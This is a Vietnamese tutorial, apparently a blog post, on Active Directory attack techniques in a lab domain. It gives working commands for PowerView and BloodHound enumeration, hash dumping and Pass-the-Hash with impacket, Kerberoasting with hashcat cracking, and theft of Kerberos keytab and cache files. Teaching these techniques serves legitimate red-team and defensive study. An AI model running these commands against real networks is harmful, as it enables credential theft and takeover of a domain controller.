Ở các bài viết trước, chúng ta đã cùng nhau tìm hiểu về các cách thức leo thang đặc quyền ngang trên Windows và Linux , tuy nhiên mạng doanh nghiệp hiện tại phần lớn đã chuyển dịch sang mô hình Active Directory nên kiến thức tấn công ở môi trường này là khá quan trọng. Nội dung dưới đây chúng ta sẽ cùng tìm hiểu chi tiết vấn đề này.
1. Active Directory - Windows Client
Xây dựng môi trường
-
Window Server 2019 (Domain Controller) - Hostname DC02.SUN.LOCAL
-
Windows 11 (64 bit) - Hostname HR2.SUN.LOCAL
-
Domain SUN.LOCAL Workgroup
-
Account minhtuan@sun.local , quandao@sun.local
1.1. Enumeration
Khác với Workgroup khá nghèo nàn về mặt công cụ, Active Directory cung cấp vô vàn các ứng dụng hữu ích được thiết kế để phục vụ quá trình này. Tiêu biểu trong số đó có thể kể tới như Powerview và BloodHound.
1.1.Enumeration với Powerview
Powerview là công cụ enum tuyệt vời để tìm hiểu chi tiết các thành phần trong môi trường Active Directory. Đơn giản,dễ dùng và hoàn toàn miễn phí.
Để cài đặt công cụ, ta chạy script :
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -OutFile C:\\Users\Public\PowerView.ps1
powershell -exec bypass powershell
Import-Module .\C:\\Users\Public\PowerView.ps1
Nếu máy nạn nhân xuất hiện thông báo lỗi , tức là máy này không được join vào Domain. Trường hợp ngược lại sẽ không xuất hiện thông báo nào.
Powerview sở hữu một danh sách "đồ sộ" các câu lệnh để dò quét thông tin mà ta có thể điểm qua như:
Get-NetDomain : Tên Domain hiện tại
Get-DomainController : Tên DC đang kết nối
Get-DomainUser : Trả về toàn bộ User trên Domain
Get-DomainGPO : Trả về toàn bộ Group-Policy-Object hệ thống
Get-NetComputer : Trả về toàn bộ máy tính kết nối trên AD
Find-InterestingFile : Tìm kiếm các file nhạy cảm trên hệ thống
Chi tiết hơn, ta có thể tham khảo tại đây
Để export ra file, ta sử dụng câu lệnh:
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
Powerview là công cụ đơn giản, mạnh mẽ nhưng do hoạt động với với giao diện dòng lệnh nên thường chỉ được áp dụng với các hệ thống Active Directory (AD) vừa và nhỏ.
Với các hệ thống phức tạp,số lượng người dùng lớn, GPO chồng chéo thì công cụ này tỏ ra kém hiệu quả hơn. Do đó trong tấn công thực tế, người ta thường kết hợp với một công cụ khác là BloodHound.
1.2. Enumeration với BloodHound
BloodHound là một công cụ được xây dựng dựa trên Linkurious và Javascript, sau đó biên dịch bằng Electron sử dụng cơ sở dữ liệu Neo4j và cung cấp bởi agent C#.
BloodHound sử dụng đồ họa để mô hình hóa Active Directory (hoặc Azure). Những kẻ tấn công có thể sử dụng BloodHound dễ dàng xác định các con đường tấn công rất phức tạp mà không thể xác định nhanh chóng theo cách thông thường.
Cả Blue Team và Red Team đều có thể sử dụng BloodHound để hiểu sâu sắc hơn về các mối quan hệ đặc quyền trong môi trường Active Directory.
Cài đặt BloodHound trên Kali Linux
- Cài đặt Open JDK 11 (BloodHound tương thích tốt với Java version này)
sudo apt-get install openjdk-11-jdk
- Cài đặt Neo4j
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4' | sudo tee /etc/apt/sources.list.d/neo4j.list > /dev/null
sudo apt-get update
sudo apt-get install neo4j
sudo systemctl start neo4j
- Download BloodHound và tiến hành khởi chạy
sudo apt-get install bloodHound
sudo neo4j console
bloodHound
BloodHound hoạt động theo cơ chế client-server, do đó ta không thể chạy và xem trực tiếp trên đối tượng giống như Powerview, mà cần sử dụng một agent nhằm thu thập thông tin cụ thể với tên gọi SharpHound (hoặc AzureHound với AAD)
Để chạy công cụ này, ta tiến hành download theo đường dẫn sau đó chạy trực tiếp trên đối tượng cần thu thập. Hoặc để làm quen, ta có thể lấy dữ liệu mẫu theo đường dẫn sau
C:\> SharpHound.exe
Thông tin output sẽ mang định dạng [file.zip], sẵn sàng import cho BloodHound sử dụng.
BloodHound hỗ trợ các query sẵn có bao gồm : Find all Domain Admins,Map Domain Trusts, Find Computers with Unsupported Operating Systems , Find Principals with DCSync Rights...vv..
1.2. Pass-The-Hash trên NTLM
NTLM là tập hợp các giao thức xác thực được tạo bởi Microsoft. Ban đầu là một giao thức độc quyền sau đó cho phép sử dụng trên các hệ thống không sử dụng Windows. Phương thức này cho phép nhiều máy tính và máy chủ khác nhau tiến hành xác thực lẫn nhau.
NTLM sử dụng cơ chế challenge-response để kiểm tra tính xác thực của người dùng . Để làm như vậy, Client và Server phải trải qua một số bước theo quy trình sau:
- Client gửi tên người dùng đến Server.
- Server trả lời bằng một con số ngẫu nhiên (tức là challenge).
- Client tạo giá trị hash từ số này với mật khẩu của mình, rồi gửi lại Response
- Server sở hữu mật khẩu của người dùng từ đó tạo ra giá trị mật khẩu hash , sau đó so sánh với Response của Client .
- Nếu cả hai giá trị này khớp nhau quyền truy cập sẽ được cấp. Nếu không Client sẽ bị từ chối truy cập.
Vì giao thức này xác thực chỉ dựa vào giá trị mật khẩu hash, nên thay vì cố gắng bẻ khóa về dạng plaintext , Hacker sử dụng luôn hash để tiến hành đăng nhập.
Ví dụ dưới đây, ta phát hiện hệ thống bị ảnh hưởng bởi lỗ hổng ZeroLogon , để từ đó có thể Dump NTLM hash
impacket-secretsdump -just-dc veltech/VOLS\$@ip_bi_anh_huong
Ta có thể sử dụng hash dã dump được trước đó, tiến hành Pass-The-Hash với Psexec
impacket-psexec -hashes aad3b435b51404eeaad335b51404ee:782efc6e0bbff4bd67266a37cca7bf Administrator@ip_bi_anh_huong
1.2 Kerberoasting trên Kerberos
Cùng với NTLM, Kerberos là một giao thức xác thực trong Active Directory sở hữu cơ chế hoạt động phức tạp , chặt chẽ và bảo mật hơn so với NTLM. Kerberos khắc phục được rất nhiều điểm yếu của NTLM (Không hỗ trợ MFA , Password được lưu trữ trên DC không có “salt” , thuật toán mã hóa yếu, ...). Tuy nhiên bản thân nó vẫn tồn tại các lỗ hổng đặc thù. Một trong đó là Kerberoasting.
Kerberoasting là một trong những cuộc tấn công phổ biến nhất trên Active Directory. Nó được sử dụng để bẻ khóa Kerberos hash bằng kỹ thuật brute-force.
Quá trình Kerberoasting :
Enumerate Service Principal Names --> Request Ticket-Granting Service (TGS) Tickets --> Extract And Dump Ticket --> Brute Force Ticket
Để tấn công , ta tiến hành theo các bước sau
Bước 1. Enumerate Service Principal Names
Powershell -exec bypass powershell
Invoke-WebRequest https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 -OutFile C:\\Users\pubic\GetUserSPNs.ps1
import-module .\C:\\Users\pubic\GetUserSPNs.ps1
Bước 2. Request Ticket-Granting Service (TGS) Tickets
Invoke-WebRequest https://raw.githubusercontent.com/cyberark/RiskySPN/master/Get-TGSCipher.ps1 -OutFile C:\\Users\pubic\Get-TGSCipher.ps1 import-module .\C:\\Users\pubic\Get-TGSCipher.ps1
Get-TGSCipher -SPN "HTTP/WebServer.lab.com" -Format Hashcat
Bước 3. Extract And Dump Ticket (lưu thông tin ticket với tên key.out) Bước 4. Brute Force Ticket
hashcat -m 13100 -a 0 key.out /usr/share/wordlists/rockyou.txt --force
2. Active Directory - Linux Client
Môi trường
- Window Server 2019 (Domain Controller) - Hostname DC02.SUN.LOCAL
- Debian 11 (64bit) - Hostname HR2.SUN.LOCAL
- Domain SUN.LOCAL
- Account minhtuan@sun.local , quandao@sun.local
2.1. Kerberos trên Linux
Kerberos là một tùy chọn nổi tiếng để xác thực trên Windows AD nhưng nó cũng có thể được sử dụng trên Linux thông qua KDC riêng dành cho Linux. Ngoài ra Linux client cũng có thể xác thực với các máy chủ Active Directory thông qua Kerberos như một máy Windows.
Ở thiết lập này, ta thấy tài khoản minhtuan được join vào domain sun.local . Người dùng AD có thể đăng nhập vào hr.sun.local lab thông qua thông tin tài khoản của họ
Active Directory members sử dụng Kerberos để xác thực được gán vào một tệp chứa thông tin xác thực. Vị trí của tệp này được đặt thông qua biến KRB5CCNAME của người dùng
Trong hr.sun.local lab , chúng ta có thể tìm thấy tệp tin này bằng cách "lọc" giá trị env
Chúng ta sẽ note lại để sử dụng sau này
KRB5CCNAME=FILE:/tmp/krb5cc_1526801109_jkRz4R
Do Kerberos sẽ hết hạn sau một khoảng thời gian (thường là 8 tiếng). Do đó, để thuận tiện trong quá trình khai thác, chúng ta sẽ tạo ticket cho người dùng hiện tại trong AD
Sử dụng kinit để lấy ticket (Do lấy ticket từ chính account hiện tại nên chúng ta không cần thêm tham số nào cả)
Sử dụng klist để liệt kê các ticket hiện tại được lưu trữ
Điều này cho thấy chúng ta đã có một ticket cấp cho administrator của SUN.LOCAL
Sử dụng kdestroy nếu chúng ta muốn remove toàn bộ ticket đã lưu
Với ticket đã tạo, chúng ta có thể lấy danh sách Service Principal Names (SPN) có sẵn bằng cách sử dụng ldapsearch (Giống với cách sử dụng GetUserSPNS.ps1 trên Windows)
ldapsearch -H ldap://dc01.corp1.com -D "minhtuan@SUN.LOCAL" -W -b "dc=sun,dc=local" "servicePrincipalName=*" servicePrincipalName
# IIS Admin 002, Users, sun.local
dn: CN=IIS Admin 002,CN=Users,DC=sun,DC=local
servicePrincipalName: IIS_002/dc02.sun.local:80 # krbtgt, Users, sun.local
dn: CN=krbtgt,CN=Users,DC=sun,DC=local
servicePrincipalName: kadmin/changepw # MSSQLSvc, Users, sun.local
dn: CN=MSSQLSvc,CN=Users,DC=sun,DC=local
servicePrincipalName: MSSQLSvc/dc02.sun.local:1433
Yêu cầu một Ticket từ Kerberos cho MSSQL SPN ở trên với kvno (Giống với cách sử dụng Get-TGSCipher.ps1 trên môi trường Windows)
Sau khi có ticket cho MSSQL ta có thể sử dụng dịch vụ này dưới vai trò người dùng đã xác thực
2.2. Hijacking Keytab File
Thông thường, để thực hiện các command tự động thay mặt người dùng truy cập vào tài nguyên AD hỗ trợ xác thực kerberos ta sử dụng keytab file chứa các thông tin đăng nhập được mã hóa. Điều này cho phép người dùng thực hiện các command xác thực thông qua Kerberros mà không cần dùng tới mật khẩu ( tương tự chúng ta tạo ra các tệp SSH Private Key, sau đó dùng nó để tự động xác thực với các máy khác)
Keytab file thường được sử dụng trong cron command. Chúng ta có thể kiểm tra nội dung của các tệp như /etc/crontab để xác định command nào đang được chạy và kiểm tra các command đó xem liệu chúng có đang được sử dụng để xác thực hay không.
Sử dụng ktutil để tạo một keytab, phục vụ cho việc demo
Các thông số được sử dụng như sau :
- addent để thêm một keytab
- -e cung cấp kiểu mã hóa
- wkt output của keytab (/tmp/quandao_backup.keytab)
Ngữ cảnh hiện tại local machine bị Hacker kiểm soát với đặc quyền root , Hacker truy cập được vào quandao_backup.keytab từ đó xâm nhập vào AD với đặc quyền user quandao.
Bước 1. Tìm user đăng nhập thông qua keytab file
Bước 2. Sử dụng kinit để load keytab
Nếu ticket hết hạn sử dụng, chúng ta sẽ không thể làm được gì tiếp. Tuy nhiên, nếu ticket nằm trong thời hạn sử dụng, chúng ta có thể gia hạn mà không cần nhập mật khẩu với kinit -R
Thông thường với các hệ thống bảo mật yếu, keytab file sẽ được đặt với đặc quyền thấp cho phép Hacker dễ dàng truy cập và sử dụng
Bước 3. Truy cập vào ổ C$ của DC
2.3. Hijacking Cache Files
Sử dụng Cache Files trên máy nạn nhân
Như đã đề cập trong phần trước, cache file lưu trữ thông tin xác thực Kerberos được đặt tại /tmp/krb5cc_1526801109_dhvnbh. Tệp này thường chỉ có chủ sở hữu mới có thể truy cập được. Do đó, chúng ta không thể truy cập được vào file này nếu không có đặc quyền
Tuy nhiên trong trường hợp file này được phân quyền không tốt hoặc bằng cách nào đó chúng ta có thể đọc được file này nhưng không có quyền truy cập vào Shell, chúng ta có thể lợi dụng nó để truy cập vào AD.
Sau khi đăng nhập vào tài khoản quandao và sở hữu cache file, chúng ta cần đặt biến môi trường KRB5CCNAME với value là đường dẫn tới Cache Files
export KRB5CCNAME=/tmp/krb5cc_1526801109_dhnvbh
Từ đây chúng ta có thể truy cập vào DC với quyền của user quandao mà không cần phải xác thực mật khẩu.
Sử dụng Cache Files trên máy Hacker
Trong tình huống tới được mô tả trong phần này, chúng ta giả định rằng đã xâm nhập vào một server join Domain (hr2.sun.local) và lấy được cache file . Thay vì lợi dụng chính máy này để tấn công, chúng ta sẽ trực tiếp sử dụng impacket trên Kali để truy cập hệ thống
Đầu tiên, chúng ta cần kéo cache file về máy với wget (hoặc scp trong trường hợp các bạn sử dụng SSH)
Cài đặt krb5-user
sudo apt install krb5-user
Load Cache file vào Kali linux
export KRB5CCNAME=/tmp/krb5cc_1526801109_dhnvbh
Do trong quá trình sử dụng, chúng ta sẽ sử dụng domain SUN.LOCAL và DC02.SUN.LOCAL nên ta tiến hành add chúng vào /etc/hosts
Sử dụng impacket-psexec tiến hành login vào DC
python3 /usr/share/doc/python3-impacket/examples/psexec.py minhtuan@DC02.CORP1.COM -k -no-pass